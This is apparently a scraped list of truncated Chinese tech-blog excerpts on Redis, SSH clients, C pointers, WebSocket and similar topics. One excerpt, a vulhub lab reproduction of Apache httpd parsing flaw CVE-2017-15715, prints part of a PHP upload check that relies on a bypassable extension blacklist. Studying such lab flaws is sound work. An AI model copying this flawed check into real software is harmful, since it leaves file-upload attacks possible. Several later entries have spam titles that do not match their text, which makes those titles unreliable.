Termius for Mac/Win:一款功能强大的终端模拟器、SSH 和 SFTP 客户端软件
随着远程工作和云技术的普及,对于高效安全的远程访问和管理服务器变得至关重要。Termius,一款强大且易用的终端模拟器、SSH 和 SFTP 客户端软件,正是满足这一需求的理想选择。 Termius 提供了一站式的解决方案,允许用户通过单一平…...
python如何读取被压缩的图像
读取压缩的图像数据: PackBits 压缩介绍: CCITT T.3 压缩介绍: 读取压缩的图像数据: 在做图像处理的时候,平时都是使用 函数io.imread() 或者是 函数cv2.imread( ) 函数来读取图像数据,很少用PIL.Image…...
华为OD机试 - 寻找最优的路测线路(Java JS Python C)
题目描述 评估一个网络的信号质量,其中一个做法是将网络划分为栅格,然后对每个栅格的信号质量计算。 路测的时候,希望选择一条信号最好的路线(彼此相连的栅格集合)进行演示。 现给出 R 行 C 列的整数数组 Cov,每个单元格的数值 S 即为该栅格的信号质量(已归一化,无单…...
互联网演进历程:从“全球等待”到“全球智慧”的技术革新与商业变革
文章目录 一、导言二、World Wide Wait (全球等待)阶段1. 技术角度2. 用户体验3. 企业收益4. 教育影响 三、World Wide Web (万维网)阶段1. 技术角度2. 用户体验3. 企业收益4. 教育影响 四、World Wide Wisdom (全球智慧)阶段1. 技术角度2. 用户体验3. 企业收益4. 教育影响 五、…...
计算机组成原理——总线
总线特点 1.1. 分时:分时是指同一时刻只允许有一个部件向总线发送信息,若系统中有多个部件,则它们只能分时地向总线发生信息。 1.2. 共享:共享是指总线上可以挂接多个部件,各个部件之间互相交换的信息都可以通过这组线…...
2023.12.27 关于 Redis 数据类型 List 常用命令
目录 List 类型基本概念 List 类型特点 List 操作命令 LPUSH LPUSHX RPUSH RPUSHX LRANGE LPOP RPOP LINDEX LINSERT LREM LTRIM LSET 阻塞版本的命令 阻塞版本 和 非阻塞版本的区别 BLPOP & BRPOP List 类型基本概念 Redis 中的列表(list&am…...
【Web】vulhub-httpd apache解析漏洞复现(1)
目录 ①CVE-2017-15715 ②apache_parsing_vulnerability ①CVE-2017-15715 贴出源码: <?php if(isset($_FILES[file])) {$name basename($_POST[name]);$ext pathinfo($name,PATHINFO_EXTENSION);if(in_array($ext, [php, php3, php4, php5, phtml, pht]))…...
市场复盘总结 20240103
仅用于记录当天的市场情况,用于统计交易策略的适用情况,以便程序回测 短线核心:不参与任何级别的调整 昨日回顾: 方法一:指标选股 select * from dbo.ResultAll where 入选类型 like %指标选股% and 入选日期=20240103;方法二:趋势选股法 1、最低价持续3日上涨 2、均价…...
Java技术栈 —— Redis的雪崩、穿透与击穿
Java技术栈 —— Redis的雪崩、穿透与击穿 〇、实验的先导条件(NginxJmeter)一、Redis缓存雪崩、缓存穿透、缓存击穿1.1 雪崩1.2 穿透1.3 击穿 二、Redis应用场景——高并发2.1 单机部署的高并发问题与解决(JVM级别锁)2.2 集群部署…...
Scala知识点——App类
我们在代码中一般程序都是是通过main方法进入。但是在scala中提供了一个App类,通过继承可以实现不用显式的调用main方法就能运行。 App类中实现了main方法:...
分类信息网站手机版/seo排名资源
程序员职场三部曲之三 把求职中的“道”与“术”有效结合,能让您迷途中眼前一亮。 在找工作的茫茫大军里,本书让您有机会领先一步取得最后的胜利! Leo继《程序员羊皮卷》、《程序员职场第一课》之后为读者奉上的求职速查手册! …...
邛崃建设网站首页/网络营销过程步骤
最近了解了下websocket和socket这个东西,说不得不来说下为何要使用 WebSocket ,和为何不用http。 为何需要WebSocket ? HTTP 协议是一种无状态的、无连接的、单向的应用层协议。它采用了请求/响应模型。通信请求只能由客户端发起,…...
本地化吃喝玩乐平台网站可以做吗/seo整站优化外包公司
技术特征:1.一种基于html5canvas画布音视频分段剪辑方法,其特征在于:包括如下步骤:步骤一:首先使用者预先获取源音视频文件,然后使用者对音视频文件分段剪辑时,进入音视频文件分段剪辑主单元&am…...
网站如何做图片自动切换/nba最新交易汇总
1、前台模拟鼠标键盘操作 这里将窗口置顶,再调用模拟键鼠操作相关的API,微软提供了一个API,例如: SetWindowPos(this->GetSafeHwnd(),HWND_TOPMOST, cx, cy, 0, 0, SWP_NOSIZE); 但是这个API也不能确保当前窗口就是最顶层&…...
西宁企业网站建设/苏州seo网站推广哪家好
一直以来,我都认为DWR是逆ajax的框架,其实这样理解,是很不全面的,逆ajax只是它的一部分而已。针对DWR的理解,简单的说就是”简化数据的获取“,用专业的语言来说,那就是通过客户端的engine.js作为…...
毕节网站建设/云南疫情最新数据消息中高风险地区
在C言语中,函数的参数不只可所以整数、小数、字符等详细的数据,还可所以指向它们的指针。用指针变量作函数参数可以将函数内部的地址传递到函数外部,使得在函数外部可以操作函数内部的数据,而且这些数据不会跟着函数的完毕而被烧毁…...